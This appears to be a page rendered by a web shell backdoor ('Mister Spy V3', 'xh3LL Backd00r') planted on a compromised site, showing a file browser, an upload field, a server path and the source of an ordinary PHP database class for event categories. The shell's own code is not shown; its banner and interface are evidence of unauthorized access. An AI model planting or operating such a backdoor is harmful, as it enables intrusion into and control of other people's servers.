Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.eventoscategorias.php

<?php

require_once('class.dbaccess.php');
require_once('class.eventocategoria.php');
require_once('class.evento.php');
require_once('class.filter.php');
require_once('class.page.php');

class EventosCategorias extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ((isset($filter['IdEvento'])) && ($filter['IdEvento'] != ''))
		{
			$sql.= " AND IdEvento =" . DB::Number($filter['IdEvento']);
		}
		
		if ((isset($filter['IdCategoria'])) && ($filter['IdCategoria'] != ''))
		{
			$sql.= " AND IdCategoria =" . DB::Number($filter['IdCategoria']);
		}
		
		if ((isset($filter['IdCategoriaSubrubro'])) && ($filter['IdCategoriaSubrubro'] != ''))
		{
			$sql.= " AND IdCategoriaSubrubro =" . DB::Number($filter['IdCategoriaSubrubro']);
		}
		
		return $sql;
	}


	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventosCategorias";
		$sql.= " WHERE 1 <> 0 ";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";
		$sql.= " ORDER BY IdEvento";
		$sql.= ($oPage) ? Pageable::ParsePage($oPage) : "";
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oEventoCategoria = new EventoCategoria();
			$oEventoCategoria->ParseFromArray($oRow);
			
			array_push($arr, $oEventoCategoria);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}


	public function GetAllByEvento(Evento $oEvento)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventosCategorias";
		$sql.= " WHERE IdEvento = " . DB::Number($oEvento->IdEvento);
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		$arr = array();
			
		while ($oRow = $oRes->GetRow())	
		{	
			$oEventoCategoria = new EventoCategoria();
			$oEventoCategoria->ParseFromArray($oRow);
			
			array_push($arr, $oEventoCategoria);
			
			$oRes->MoveNext();
		}	
		
		return $arr;
	}
	
	
	public function GetById($IdEventoCategoria)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventosCategorias";
		$sql.= " WHERE IdEventoCategoria = " . DB::Number($IdEventoCategoria);
		
		
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$EventoCategoria = new EventoCategoria();
		$EventoCategoria->ParseFromArray($oRow);
		
		return $EventoCategoria;
	}
	
	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = "SELECT *";
		$sql.= " FROM tblEventosCategorias";
		$sql.= " WHERE 1 <> 0 ";
		$sql.= ($filter) ? $this->ParseFilter($filter) : "";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	
	public function Create(EventoCategoria $oEventoCategoria)
	{
		$arr = array
		(
			'IdEvento' 				=> DB::Number($oEventoCategoria->IdEvento),
			'IdCategoria'			=> DB::Number($oEventoCategoria->IdCategoria),
			'IdCategoriaSubrubro'	=> DB::Number($oEventoCategoria->IdCategoriaSubrubro),
			'IdInstancia'			=> DB::Number($oEventoCategoria->IdInstancia)
		);

		if (!$this->Insert('tblEventosCategorias', $arr))
			return false;
			
		return $oAsociacionEnfermedad;
	}
	

	public function Delete($IdEventoCategoria)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdEventoCategoria =" . DB::Number($IdEventoCategoria);

		if (!DBAccess::$db->Delete('tblEventosCategorias', $where))
		{
			DBAccess::$db->Rollback();
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;
	}


	function DeleteAllByEvento(Evento $oEvento)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdEvento = ".DB::Number($oEvento->IdEvento);

		if (!DBAccess::$db->Delete('tblEventosCategorias', $where))
		{
			DBAccess::$db->Rollback();
			return false;
		}

		DBAccess::$db->Commit();
		
		return true;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat